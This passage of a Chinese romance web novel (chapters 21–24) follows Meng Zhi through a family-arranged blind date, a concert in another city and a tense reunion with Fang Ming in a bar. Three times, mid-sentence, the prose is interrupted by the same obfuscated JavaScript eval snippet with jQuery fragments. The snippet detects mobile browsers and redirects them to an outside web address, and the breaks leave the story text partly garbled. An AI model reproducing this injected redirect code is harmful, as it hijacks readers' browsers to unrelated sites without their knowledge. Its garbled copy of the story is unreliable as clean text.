二姨姥突然大哭起来。其变脸之迅速,令戏曲演员望尘莫及。孟至目瞪口呆地看着屏幕,二姨姥咧开嘴哭泣着,用抽搐的气声说:“你们谁都不听我的了,就连介绍对象都没人听了——姐啊,我进了养老院了,就跟你一样了——” “……” “我没有地位了——” “行了,姨姥,”孟至息事宁人地说,“我这不是听着呢么。” 二姨姥突然又不哭了。泪珠还挂在她松垂的脸颊上,但她容光焕发,喜气洋洋。她绘声绘色地说,这位科学家为人羞涩极了,来了就埋头干活,干完活就乖乖坐在二姨姥房间的沙发上陪她聊天。聊着聊着,就说到了自己孤身一人,没有娱乐活动,所以周末才来养老院做义工。 这一下,二姨姥如获至宝,当场就觉得这样的棒小伙子怎能打光棍?一旁的常来也表示了惋惜,然后对二姨姥说:“你家孟至呢?介绍一下呗?”问清了棒小伙子的底细之后,二姨姥顿时觉得他和孟至是天作之合。她向这小伙展示了孟至的黑白犯人照,又对他说,他们那一辈的所有叔伯兄弟姐妹、姑表兄弟姐妹里,就数孟至的姥姥长相明亮,所以孟至得到了遗传。 此外二姨姥还说,孟至姥姥的姥姥是全家族古往今来第一美女,相传是瓜子脸,柳叶眉,杏核眼,樱桃小口,五官排布得位置得当,到老了也是个大美人。可惜那老太太是抽旱烟的,经常手持烟袋锅,看着往来奔跑的孙辈,往地上啐一口,骂道,擦,小兔崽子…… 那棒小伙子听完,竟然没有被吓跑,孟至不禁啧啧称奇。在这戏剧性的喧闹时刻,她耳朵里听着二姨姥的单口相声,脑海中却又想起了方铭。与一位科学家相比,零工王子的身份多么不足称奇。但她从来没有想过方铭在天秤上是不是和她匹配,就好像方铭做什么都不要紧。 孟至有气无力地问:“姨姥,说了半天,还不知道他叫什么?” “人家说了,叫赛罗。”二姨姥骄傲地说,“你看洋不洋气?人家留洋的时候就叫这个!” “……” 碍于情面,孟至还是添加了赛罗的微信。他的微信头像是个奥特曼,在孟至看来傻得发邪。 转念一想,或许对方也不过是被这群长辈逼迫着来相亲而已。孟至收起了戾气,做好了双方一言不发的准备。然而,赛罗却很快发来一句:“你好!你的电话可以给我一个吗?我存一下。” 孟至发去一串座机号。看着窗外逐渐变暗的天空,她想起和方铭走过天桥的画面,她此刻意兴阑珊。 21. 在绿树白花的篱前 水冰月发来一条微信:“真的假的?那很可怜啊。” 距离孟至上次给她发微信,已经过去整整十五天。现在,水冰月针对孟至那条讲松鼠的消息,源源不断地回复着:“其实动物也有灵性和情绪,不过松鼠竟然会气得上吊,还是超出我预料……”她回复得十分行云流水,就好像当中间隔的半个月不过弹指一挥间。 而孟至也立刻和她继续聊起了松鼠,仿佛隔上一年半载再回信也是十分正常的。随着十一黄金周的到来,水冰月那繁忙的诊所终于能休息几天。她约孟至一起北上,去B市听一场音乐会,孟至的精神为之一振。 孟至急需凭借一次出行来转换心情。天气正转入深秋,打开窗户时,扑面而来的是凛冽的空气,带着雪的气味,让人想到寒冬、西伯利亚和暴风雪。那种无法言传的气味曾让孟至痴迷,而现在只能让她感到有一点伤心。 方铭的微信号彻底沉寂了,两人不再联络。与其形成鲜明对比的,是那个新来的相亲对象。赛罗每天顶着一个奥特曼的头像来找她搭讪,从早安问候到晚安,令她不胜其烦。当他又来问她小长假规划时,她冷淡地回复说自己的工作没有法定节假日。 赛罗应和道:“弹性工作制,我知道。” 见孟至不吭声,他又问:“那你不忙时准备干什么?” 为了避免他在休假时过来没话找话,孟至索性如实回答:“我约了朋友去B市听音乐会。” “老会堂音乐厅吗?” “是的,约了5号。”孟至不想让他觉得自己说谎,并且她又特意强调了一句,“之后几天还要陪父母体检,很忙,没有空闲看手机。” 对方又显示正在输入中。孟至并不担心他会偷着去B市制造偶遇,因为那场音乐会的票已经售罄。但她还是内心凌乱,无力回复,于是找到了斯基:“你有空时候能不能帮我回复那个相亲对象?我微信密码是Meng1-6。” 很快,斯基积极响应:“没问题,这就用平板登你的微信。” 孟至语重心长地叮嘱道:“请使出你所有的招数胡说八道,把他挡回去。” 斯基却发来一句:“不对啊孟姐,你这密码是不是给错了,我怎么登不上去?” “没错啊,”孟至检查了一遍,“你是不是读博读得手指哆嗦了?” “去你的。”斯基迷惑地说,“不是Meng123456?” 孟至说:“不是的,中间那个真的是杠。” “去你的。” 又过了一会儿,斯基再次反映:“还是登不上,是咋回事?” “哦,忘说了,”孟至泰然自若地说,“Meng1-6。句号也是密码的一部分。” “去你的!!!” 斯基终于登上了孟至的微信,她顶着孟至的皮套去回复相亲对象了。孟至躲入了片刻的安静之中,她又想到了方铭,不知他此刻在哪里开锁,又或者他已经学会了CAD,结合打电钻的经验,转型成为画施工图的室内建筑师。斯基和赛罗的聊天记录已经同步到孟至的手机上。她看见斯基义正言辞地说:“赛罗,我认识你,你是赛文奥特曼的儿子,光之国新一代的年轻奥特战士。” 于是孟至里应外合,把自己的微信名改成了赛文。 …… 5号这天,孟至和水冰月在火车站汇合,乘高铁到达B市。音乐会在晚七点开始,她们有半天的时间在老城区闲逛。由于纬度更高,B市的秋天也更加萧瑟。这座城市给孟至留下的印象是浓郁的俄式风情,各式各样的教堂分布在城中,既有拜占庭风格,又有巴洛克和哥特式。洋葱头穹顶、帐篷尖顶和厚重的墙体,种种元素使得这些建筑气质独特,而那些精美复杂的雕花、细长的拱形窗户,则维护着一种美的秩序。 晚六点四十分,两人来到老会堂音乐厅。米黄色外墙的犹太教堂看起来十分温柔敦厚,顶端有一个水绿色圆顶,这种浓郁的冷森森的绿色在B市老建筑上随处可见。她们走进楼内,发现门洞是尖拱形设计,深棕色窗格上有六角圣星图案,代表着大卫之盾。 音乐厅里摆着一排一排的长凳,就像昔日的礼拜堂。最前方的木质舞台就是乐队表演的地方,舞台一角摆着漆黑的钢琴。孟至和水冰月随着其他观众一起落座,听旁边的人说,即使在寒冷而漫长的冬季,音乐厅里依然有许多来客,有人身穿着长长的羽绒服,在音乐厅门口独自起舞。 在开场之前,她们小声聊着天,孟至问了水冰月的诊所地址,帮她在各大群聊里发了广告。水冰月用胳膊肘碰了一下孟至,低声问:“你家里最近还好吧?”上次见面时,孟至曾对她简要地说起自己家里的一团乱麻。 孟至说:“还行,我也就每周末回去吃顿饭。”顿了顿,她忍不住加了一句:“之前我跟你说过,我不喜欢我姥姥姥爷。最近碰到一个人,让我觉得我不那么讨厌姥姥姥爷了。” “那你应该好好把握这个人呀!”水冰月惊叹道,“这是什么解语花?” “可是他和我闹掰了。”孟至说完这句,就不想再说了。水冰月谅解地笑了一下,忽然讲起了自己:“我大概没跟你说过,我有个弟弟,还有个继母。” 孟至意外地看了她一眼,但接下来水冰月的话更加令人惊异。她说:“我自己的妈妈,在我很小的时候就去世了。所以现在这个妈妈和我有矛盾的时候,我都尽量不去计较。我想的是,虽然那个妈妈不在了,但起码还有这个妈妈,母亲节的时候我还可以给她买点东西。” “你在找一个锚点。”孟至平和地说。 “恩,对。”水冰月赞同了她,“我小时候很长一段时间都住在奶奶家,根本不知道我有弟弟了。弟弟就是我继母和我爸生的,有时候我会感慨,如果是一个妈妈生的,或许还会更亲点儿,来自同一个子宫嘛。” “那你弟弟现在和你不亲?” “我回到父母家以后,有不高兴的事了还是给我奶奶打电话。小时候他们都偏向我弟弟,我以为只有奶奶会永远站在我这边。结果后来发现不是的,她也偏向弟弟。”水冰月又谅解地笑了一下,“但我弟弟还是很爱我的,虽然我们没事时候几乎不联系。我记得十年前我谈恋爱的时候,跟我那前男友大吵一架。这时候 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16501442|184753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我弟弟突然说,姐姐,那个人根本不理解你,他连你为什么生气都不知道。还说,爱比钱重要,没钱可以去赚,没有爱就会让你不快乐。那时候他才十六七。” 如同菩萨手里的树枝点下露水,孟至豁然开朗,心中一片澄明。水冰月继续说:“我想说的其实不是我,而是你。如果可以选择爱还是仇恨,那么最好选择爱,比如你对姥姥姥爷,比如我对我的家人。如果可以选择爱还是遗忘,那么最好选择爱,比如你对那个男孩,他能让你快乐。” 两人脸对着脸,静静地看着彼此,眼睛都闪烁着来自高处华美吊灯的光芒。水冰月说:“你看,如果我当时忽略我爸对我好的那部分,光揪着不好的地方跟他吵闹,那后来他去世的时候我该多后悔?所以不要那样。” 如果有人传授抽象的道理,那也许不够具备说服力。但如果有人告诉你,心怀仇恨可能引起怎样的后果,则一切都明晰起来。孟至说:“我明白。我喜欢你告诉我的观点,我真希望我是世界上的另一个你。” 接着,音乐会开始了。 孟至握住水冰月的手,另一手轻轻拍着她的臂弯。盛大的音乐充满了举架高挑的教堂,就像是从空中降临的。一种宏伟的情绪控制着每个听者的心。在管弦乐曲里,孟至还在回味着水冰月刚才告诉她的话。 演奏到第三支曲子时,水冰月的手机屏幕忽然亮了。她贴着孟至的耳朵说:“诊所同事的电话。”然后就匆匆跑出去接电话了,看来是关乎次日运营的紧急情况。孟至独自听着音乐,看着那块舞台上的乐手们,那里从前大概是牧师站着传道的地方。 直到音乐会结束,水冰月还没有回来,孟至猜她在沟通各方,或许从诊所职工、患者到供应商都要协调一遍。因此她没有急着起身,而是坐在座位上,看着周围的观众如退潮般离场。大厅里只剩她一人了,她转头看着身后的门口,想看看水冰月会不会再进来找她。 舞台的灯光突然灭了。她的余光注意到那个方向变暗了。于是她看向昏暗的舞台,发现那里多了一个人。那人坐在角落的钢琴前,背对着台下,弹奏起一首歌来。 就像被神明定住了身体,孟至不由自主地留在座位上,听着那首钢琴曲。听着听着,她终于想起这首歌叫《七里香》,但并不是那首同名的流行歌曲,而是一首以席慕容的诗作成的曲。孟至本来不太看诗词歌赋,她更喜欢科幻小说和大学物理课本,但她小时候恰好在斯基家里看过这首诗,长大后又知道有这首衍生歌曲。 随着流淌的音符,歌词也在她心里滚动着: “在绿树白花的篱前,曾那样轻易地挥手道别。” 她忽然发现自己已经记不清最后一次和方铭见面是什么时候,又发生了什么。 最后一个音符逐渐平息了,音乐的结束让她怅然若失,飘渺无所依,仿佛曲终人散场。她情不自禁地追着音乐的余声,往舞台上走去。弹琴的人站起身来,转头深深看了她一眼,就义无反顾地走出音乐厅了。 孟至抱起手臂,眯起眼睛看着那个沿着过道行走、穿过排排长椅的身影。那竟然是方铭。 22. 初闹相亲局 方铭突然出现又突然消失,仿佛是在表演快闪独奏。孟至怀疑他是路过老会堂时恰好发现音乐会散场,于是进去试弹钢琴,就像自己曾经也去琴行试弹样品吉他,以练习老师教的曲子。 他为什么来到B市,又为什么会掌握弹琴这种技能,成了一个非同寻常的秘密。 水冰月回到音乐厅里找孟至时,孟至一把拉住她的手,以竞走的形式向外冲刺:“快,我要跟踪个人!” “谁?”水冰月晕头转向地跟着她一路小跑,“你看上哪个演奏家了?” “还真是。哎,他走没影了,我们得快点啦!”孟至两肘弯曲,交替高摆臂,用标准的竞走步伐前进,靴子的粗跟在地面上凿出哐哐的声音,每一步都发出地动山摇的巨响。水冰月提醒道:“你落脚轻点,要不然那人听见了,就发现我们了。” 但她们追到大街上时,方铭早已不知去向。孟至简直怀疑刚才是一场梦,又或者方铭其实是个超自然的魂魄魅影? 两人在B市住了一晚,第二天一早,水冰月坐高铁回C市去了,牙科诊所那边有一摊子事等着她处理。孟至把她送到高铁站,自己又留在B市逛了一天。她在中央大街游荡,脚踏着面包石,鞋跟发出嗒嗒声。她还去江边站了半天,在冬天来临之前,江水尚未结成厚重的冰壳,还在翻着波浪。一天比一天寒冷,她没有再见到方铭的踪影,反而带的衣服不够御寒,只能把灰蓝色宽松长风衣穿在黑色皮夹克的外面,独创了一种前卫的搭配。 到了第三天,青龙说他最近新接了几单业务,大概会忙不过来。孟至二话没说,当天上午就回到了C市,下午去墓园帮青龙跑腿了。 青龙一看见孟至,就匆匆忙忙地把两张纸条交给她,指点着每张纸条上的潦草笔迹,说:“这是一户,逝者姓张,这是另一户,逝者姓王,别整混了。下午你就把张家的冷藏手续办了,尸体现在就在前厅……还得把王家后天上午告别仪式的场地订好……” 白虎走过来和他们汇合。他故意不看孟至,光对着青龙说:“姐夫,逝者都卸车了,没啥事我先回车里了。今天这三个都要西套餐,是不?”他指的是C套餐,包含常规代办流程及简单的丧葬用品。 青龙嗯呐嗯呐地答应着,一边查看手机,一边抱怨自己已经蒙圈,看起来忙得不可开交。孟至一手拿着一张纸条,建议青龙:“大师兄,你可以用excel管理业务台账,形成工作流,就不怕记混了。” “哎哟我,”青龙向她一摆手,“我可不会那个!” “或者你可以开发小程序用于内部管理,就叫‘死了么’。” 说完,孟至发现青龙和白虎都一脸僵硬,似乎没有人为这不合时宜的笑话而欢笑。特别是白虎向孟至投来的目光格外鄙夷,他不光因为自己成了二师兄而窝火,还觉得孟至又在戏弄领导,以下犯上。 孟至一耸肩膀,转身就去跑流程了。冷空气和阴沉的天空,无时无刻不在提示着冬天的逼近。在这样的气候里,墓园中进行着的死生告别更加凄厉,几乎像冰锥一样刺穿人心。等到回家时,孟至又冷又疲惫,她觉得自己像一个侠客出去闯荡了一番,回来面对着冷锅冷灶。才傍晚六点钟,天已经黑透了。她想,这份工作大概不会持续太久了。 城市里到处都晾晒着秋菜,一排一排的白菜和大葱摆在墙边的草坪上、走廊空地上、窗台外沿上,甚至也摆在停车场上。只等陪老孟和刘校长分别体检后,入冬前的最后一项任务就完成了。 然而,在最后一项任务完成之前,孟至突然被指派了一个新任务。二姨姥打来电话,命令她和赛罗于本周六中午见面吃饭,还说表姐已经帮他们订好了饭店包间。二姨姥让孟至务必出席,能把她从养老院偷出来带过去最好。 孟至放下电话就直接给赛罗发了一条微信:“兄弟,你知道我们要被安排见面吗?” 从赛罗的回复来看,他相当犹豫踟蹰:“是的,二姨姥跟我说了,她要做东。只是不知道你愿不愿意见面,会觉得这样太快吗?” 他那谦虚而礼貌的态度让孟至称心如意,接着她又想到这段时间他没有再来搭讪过。不知不觉,孟至减轻了对他的敌意。她推心置腹地说:“小赛啊,我知道你肯定也是被逼无奈,碍于长辈的情面才相亲的,怎么能让你受这委屈呢!” 赛罗迷惑地问:“那你有什么新想法吗?” “你放心,这事包在姐身上,”孟至大包大揽,极力诱惑,“我去搅黄这门亲事,你看如何?” “这样真的好吗?”赛罗文质彬彬地说,“而且会不会太麻烦你?” “不麻烦!领导一句话,我必定办妥。到那天你就不用来了!”孟至一锤定音,好像这事成了赛罗交待她办的。 她先给体检机构打了电话,把刘校长的体检挪到了这周六,然后对刘校长说时间有变。刘校长压根不知道二姨姥在发光发热,更不知道有相亲这回事,她直接回了一个批准的手势。 赛罗又发来一句:“你是不是不太喜欢被长辈介绍对象?” 孟至笑嘻嘻地反问道:“莫非你喜欢?” “还好吧。”赛罗温吞地说,“你一定是个有性格有思想的人。” 孟至直率地说:“实不相瞒,我在现实中有个喜欢的人。” 那边沉默了。孟至转身去浴室找她的鸭子们洗澡了。 供暖之前的夜里十分寒冷。在孟至小的时候,她喜欢冬天的到来,十月下旬和斯基在背阴处的空地上发现第一片薄冰时,她们欢呼雀跃。而现在她畏惧冬天,长达半年的严寒、短暂的白昼和稀薄的阳光让她惴惴不安,总是想起很多让人忧郁的事。 就在这寂静的半夜里,手机震动了两下,赛罗突然又重启了。他认真地问:“你喜欢的那个人是什么样的?可以跟我说说吗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16517638|184753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” 看到有人送上门来聊天,孟至顿时来了兴趣。她裹着被子坐了起来,像个蚕蛹一样打字回复道:“这个人呢,层峦叠嶂的,不太好形容。” 赛罗问:“什么是层峦叠嶂的?穿的很多吗?” 孟至解释道:“就是这个人的层次比较多,比较复杂。”难得使用一次有文采的说法,却不能被对方理解,这让她有些扫兴。 那边又不吭声了。直觉告诉孟至,赛罗情绪不佳。于是她好声好气地说:“小赛,我不是故意要一边喜欢别人,一边跟你相亲,我是很尊重你的。实在是因为我二姨姥不了解我的情况,才介绍咱们认识,她也是好意。” 为了让他心情更好一点,孟至还笃定地说:“你肯定也有很多人喜欢,我姨姥说你长得像柏原崇。”每到冬天就会想要重温《情书》这部电影,所以这名字顺嘴就说出来了。 赛罗说:“姨姥还知道柏原崇?” 不知怎地,直觉又告诉孟至,赛罗更加生气了。她裹着被子栽倒下去,很快睡着了。 周六早上,孟至和刘校长在体检机构门口汇合。今年刘校长预约的检查项目很多,某些非常见病的项目也被纳入进来。这是孟至建议的,她说可以每年选几项不同的小众项目,以五年的时间为一个滚动周期,涵盖所有这类项目。 孟至和刘校长分头去不同的诊室排队了,这样,刘校长做完一项检查,又可以紧接着来做孟至排到的检查。分工合作使得她们的进度一路推进。 就在孟至排队排得风生水起时,她接到了二姨姥的电话。刚按下接通,就听见二姨姥急吼吼地说:“小至,你这孩子,你人呢?” 孟至试探地问:“赛罗难道去了?” “我们都在这里呢!”原来二姨姥没等到孟至来偷她,就自己打车溜出了养老院,在饭店包间与赛罗汇合了。 孟至一时分不清东南西北。她记得自己告诉赛罗不用去了,她还以为二姨姥也不会出面,想不到现在唯一没到场的竟是她自己。 “二姨姥,给我二十分钟,”孟至沉着应对,一声低喝,“我一定解决!” 放下电话,她立刻又打给了老孟:“爸,你替我去见个人。” …… 二十分钟后,二姨姥的电话又打来了,她听起来十分崩溃:“你这孩子人呢?你怎么叫你爸来了?人家小伙子是来看你的,谁要看个糟老头子?” 背景音里传来老孟的笑声:“嗬嗬,嗬嗬……” 孟至也在这头赔笑:“嘿嘿,嘿嘿。” 她有一种预感,这事将在整个家族出名:老孟家那姑娘自己逃了相亲局,没办法最后只能她爸去了,两个大男的脸对着脸互相看。 她随着诊室外的队伍慢慢移动,心里感到疑惑。是什么原因,让赛罗突然去相亲局了?那天晚上,在赛罗生气之前,他明明同意了不会来见孟至。 23. 酒馆重逢 体检结束后,刘校长独自回家,孟至则冒着寒风去公寓附近的那家酒馆。白天里,这家坐落在老式居民楼底层的酒馆没有亮起灯光,门脸像一片塑料玩具。孟至照例坐在里间,长发男老板说白天只供应咖啡和小食,孟至就点了一杯热拿铁和一份奶油焗玉米粒。 她双手捧着粗陶咖啡碗,一边啜饮着滚烫的拿铁,一边和长发男闲聊:“你们店里很暖和啊,我家里都要冻死了。” 长发男指了指头顶的出风口说:“我们开了中央空调。” 孟至点了点头。等到冻僵的手指恢复知觉以后,她想自己应该给赛罗发个红包,弥补他今天损失的时间。于是她划开对话框,一边思考着他为什么要去,一边漫不经心地打了个188.88的数字发出去。 接着才发现不对,发成文字消息了。又急忙点开包红包的界面,打出金额,输入密码,终于打款成功。 孟至正想撤回前一条数字时,赛罗发声了:“这红包太贵重了。”他似乎以为孟至发红包之前特意高调地声明一下金额,这让孟至觉得自己像个冒傻气的暴发户在竞拍。 她只能说:“前一条发错了。今天真不好意思,发个红包请你吃顿烧烤,一定别客气,要不然我更加过意不去了。” 赛罗很平淡地说:“不用,心领了。” 二姨姥似乎说过,赛罗供职于光机所,且家境殷实能收租。孟至怀疑他认为这红包远远低于他的时薪,根本覆盖不了今日损失的时间,所以不能满意。 孟至用一种点头哈腰的口吻说:“罗哥,今天路上挺冷吧?” 赛罗说:“是挺冷的,注意保暖。” “网上有个呼声很高的id,叫‘神券何时膨胀’,你知道神券吗?就是外卖平台的代金券,可以从五块钱膨胀到十几块呢。”孟至担心他这种公子哥从来不点外卖,还具体解释了一下,然后严肃地说,“我想叫‘暖气何日开栓’。” 大概是看出来孟至的曲意奉承,赛罗淡淡地说:“没关系,我没生气。二姨姥也是好意,她在养老院里太寂寞,还总觉得自己在家庭里没有权威了。这次主持大局让她很高兴。” 不知为何,这种温和而宽宥的口吻让孟至想起水冰月,她的心里顷刻间暖意融融。她不由自主地说:“罗哥,你真的像姐姐一样。” 赛罗看得哑口无言。沉默了一会儿,他突然直截了当地问:“你这会儿在哪里?” “今天陪我妈体检去了,这会儿在我家附近的酒馆,蹭空调。”孟至不禁庆幸自己把刘校的体检提前到今天,至少她没有对任何人说谎。 赛罗没有回复。余光里,孟至瞥见一个熟悉的人影。抬头一看,白虎戴着他的阴阳眼镜,坐在她斜对面那桌。两人隔着对角线点了点头,彼此都十分冷漠。白虎转向他邻座那个吃鱿鱼圈的女士,开始新一轮的推销:“大姐,我看你好像挺喜欢吃咸的?” “怎么,又搞到一批葡萄酒啊?”孟至优雅地端着杯子,持重地微笑着。白虎不屑地看了她一眼,继续对那位大姐说:“我们现在代理延边特产,甜辣豆丝!姐你等着,我拿一包给你尝尝。” 他回手去掏身后的背包,却掏到一手毛茸茸的温热触感,顿时吓得大叫起来。 孟至伸着脖子一看,原来是一只雪白的萨摩耶站在他旁边,正在眨巴眼睛,看起来老实巴交。她仰着头哈哈大笑起来,几乎乐不可支。 白虎瘫软在椅背上,完全不想搭理孟至。孟至对萨摩耶勾勾手指,同时口中嘬嘬几声,那狗立刻摇着蓬松的尾巴冲向孟至,主动把下巴放在她平摊的手心上。 有新顾客走进内间,长发男悄无声息地跟了过来。他默默旁观,看孟至把玩胖狗、爱不释手,便悠悠地说:“喜欢这狗啊?那这样。”说着,长发男突然双手拎起萨摩耶,干脆利落地将它放到孟至身上。 洁白的大狗趴在孟至的身上,她无法坐怀不乱。孟至高兴得发出了野人的哨声,她紧紧搂住肥胖的狗身,抬头问长发男:“上次来也没看见这狗呀?” 长发男优雅地说:“你上次来的时候是晚上,到了它上床睡觉的时间了,它在吧台后面就寝。” 孟至恍然大悟。白虎在一旁发出冷冷的哼声,而那位新顾客似乎已经等得不耐烦,一直盯着孟至和长发男的互动。即使没有抬头看过去,孟至也能感觉到一束凝结的目光投到她身上。 长发男转身去给新客人点单了,但他不忘回头补充一句:“一会儿又到它午睡的时间了,我是参照中小学生标准给它安排的作息。”孟至哎了一声,恋恋不舍地松开了狗。 这狗方才获得了不少宠爱,信心大增,满屋跳跃奔跑,接着突然冲到白虎脚边,咬掉了他靴子上的装饰绒球。全场的人都看呆了。 孟至不合时宜地发出一声爆笑,听起来十分幸灾乐祸。长发男蹲在地上,从萨摩耶的狗嘴里掏出绒球,温文尔雅地对白虎说:“不好意思,我想办法帮你粘上。”白虎看起来却不太生气,只是故作男子气概:“算了,大老爷们鞋上要啥装饰?掉就掉吧。” “那你让它把另一侧也咬掉。”孟至建议道。 白虎翻了个白眼,继续去他的包里掏样品,坚持要让大姐试吃。孟至重新捧起咖啡,突然察觉到小桌蒙上了一层阴影。有个人站在她桌前,挡住了朦胧的橘色光线。孟至以为是服务生来送焗玉米了,立刻欣然抬头问好:“你好!” 看清那逆光的人脸之后,她呆住了。微笑迅速从她的嘴边流逝。多日不见的方铭站在她面前,正冷冷地看着她。 对上孟至的目光,他垂下眼睛,淡淡地问:“看清我是谁了吗,就你好。” “没看清,”孟至抱起手臂,往靠背上一仰,歪头看着他,“那你把刚才那句还我。” 他既没有解释自己的不告而别,也没有说明自己为什么突然去B市试弹钢琴,只是突兀地说:“我进来半天了,你都没有看见我,光顾着和店老板逗狗。” 孟至不动声色地打量着他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16557940|184753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,却从他的脸上看不出任何波澜起伏。她想起自己主动表达了好感,却换取方铭彻底失联,不禁意兴阑珊。她似笑非笑地说:“个子高就是好啊,可以给桌子当遮阳伞。” 方铭愣了一下,往旁边慢慢踱步,灯光重新斜斜地洒向这张小桌。他却没有离开,而是坐在了桌子对面。孟至挑了一下眉毛,他解释说:“我的桌子被占了。” 长发男端来孟至的焗玉米粒,以及方铭的炸薯条。孟至大方地一推盘子,说:“吃点儿?”同时心想,让你看看姐这才叫大气,谁像你别别扭扭? 方铭转头对长发男轻声说:“请问有一次性餐具吗?”孟至喝着咖啡,简直嗤之以鼻。 很快,方铭手持一双一次性筷子,在孟至的冷眼旁观下,徐徐伸向靠近他那一边的玉米粒。大概是筷子打弯,且在他的手里显得过于纤细,他对准一颗玉米粒夹了几次,始终没有夹上来。 孟至面无表情的说:“小方啊,双龙戏珠?” 方铭的耳朵开始发红。他眨了几次眼睛,终于夹上来一颗龙珠,小心地放进嘴里。孟至像一位足球比赛解说员,在旁边配音解说:“小方终于成功了,他目前正在品尝,动作非常谨慎妥帖……” 他干咳了一声,放下筷子,开始查看手机,做出日程忙碌的样子。 孟至舀了一大勺玉米倒进嘴里,她这一侧的盘子立马空出了一个边。接着,她一边享受着奶油的余香,一边习惯性地捧起手机。几乎就在她划亮屏幕的瞬间,赛罗发来一条消息:“你喜欢的人到底是谁?” “这可说来话长了,”孟至猜测他认为自己在用谎话搪塞相亲,于是强调说,“但我真的有喜欢的人,没骗你。” 方铭沉沉地呼出一口气,孟至抬头看了他一眼,担心他将要因室内缺氧而昏倒。这一眼十分匆忙,但她似乎看到方铭面色铁青。 赛罗还在追问:“说来话长,那就长话短说。” 孟至略加思索,缓缓吐出二字:“面的。” 说完,又担心赛罗误以为该词语是在形容不可描述部位,于是孟至补充道:“性格哈。” 对面没有动静了。孟至不以为意,接着去跟其他朋友聊天了,顺便又探听到不少保险业新动态。聊着聊着,她伸手去拿杯子,忽然感到一股高功率灼热光线照射着自己。抬头一看,竟是方铭在一眨不眨地盯着自己,他的目光像探照灯一样凝聚在她的脸上,深色的瞳孔里隐藏着狂热。 孟至吓了一跳,微微眯起眼睛,从眼角看了回去,一副不好惹的样子。方铭低下头,又去摆弄他的手机。 孟至还在狐疑地看着他。她突然有种阴暗的想法,是不是方铭拿到了她的好感投票,就耀武扬威、不可一世,转而把她抛在脑后?不过她仍然不甚在意,她还想拍着方铭的脑袋大喊一声,我喜欢以前的那个你,这是我自己的事,与你无关。 赛罗发来一条极具诱惑力的消息:“玩过塔罗牌吗?想不想测一下那个人对你的想法?” 24. 在她身上做俯卧撑 这一幕似曾相识的场景,让孟至想起香火店里方铭的算卦摊。她问赛罗:“可是我手里没有塔罗牌,要怎么抽牌呢?” 赛罗信誓旦旦地回答:“我会用软件帮你抽牌,全都交给我就可以了。” 充满赛博色彩的算命方式让孟至发出一声感慨:“你就说现在这个科技。” 很快,赛罗那边用软件抽出了三张塔罗牌,组成一套牌阵,孟至怀疑这完全是由程序代码随机生成的。在赛罗开始讲解之前,她突然问:“我们要预测的主题是什么来着?” 赛罗说:“预测你喜欢的人现在对你什么想法……” “哦哦,对,开始吧。”孟至点开他发来的牌阵截图,突然眉头一皱,“不过这看起来都不是什么吉利的牌啊?” 第一张牌面上画着一个趴在地上的人,他后背上扎了一堆宝剑,看起来已经被扎死了。孟至难以接受地说:“第一张画的是我吗??” 赛罗却回复道:“这是一张好牌,说明你喜欢的那个人对你的想念刻骨铭心,所以他万箭穿心。” 孟至哟了一声,高兴地翘起了二郎腿,不小心踢到了桌子对面的人。她这才想起对面还坐着一个人,且这人正是被塔罗牌预测的那一位。她抬头看了一眼方铭,发现他垂眼盯着手机屏幕,脸上没有任何波澜。她的眼珠滴溜溜地转着,心里又开始怀疑起来,赛罗的牌阵真的准吗? 第二张牌面上的人似乎是从病中惊坐起,双手捂脸,状若痛苦,他床后的墙上还挂着一堆宝剑,给人一种紧张的感觉。孟至嗖嗖地打字问道:“这张画的小人看起来不太高兴啊?这张是我吗?” 赛罗回答:“这张也是好牌,这张代表着那个人深夜辗转反侧,寤寐思服。不论你是否误会他,他对你的感情从始至终没有改变过。” “哦吼?”孟至高兴得轻轻叫出了声。她偷着观察小桌那头的方铭,他下巴上的胡茬都没有刮,看起来的确有些憔悴,和以往那种光洁而清澈的形象大有不同。她忍不住对赛罗说:“你知道吗,我发现那个人也长胡子诶。” 隔了好一会儿,赛罗才回复道:“男生都会长胡子。” 不知不觉,孟至已经把赛罗当成了统一战线的知心好友。她恳切地强调道:“但他不一样,他长得溜光水滑的,看起来就像永远不会长胡子。” 赛罗不回复了。孟至又偷着去看方铭,发现他面色阴沉。她心想这塔罗牌说不定真说对了,方铭或许是天天夜里寤寐思服,睡不好觉,这会儿开始头晕目眩了。 第三张牌面上,一只手伸进画面,手中握着一根木棒或是火把之类的东西。孟至担忧地问赛罗:“那最后一张是什么意思,是不是他想拿棒子揍我啊?” 赛罗解释道:“不是的,这张是说他心里对你有一把火,一把永不熄灭的火。他想要和你融为一体。” “融为一体?”孟至惊异地飞速打字,“那不就是发生□□关系吗?” 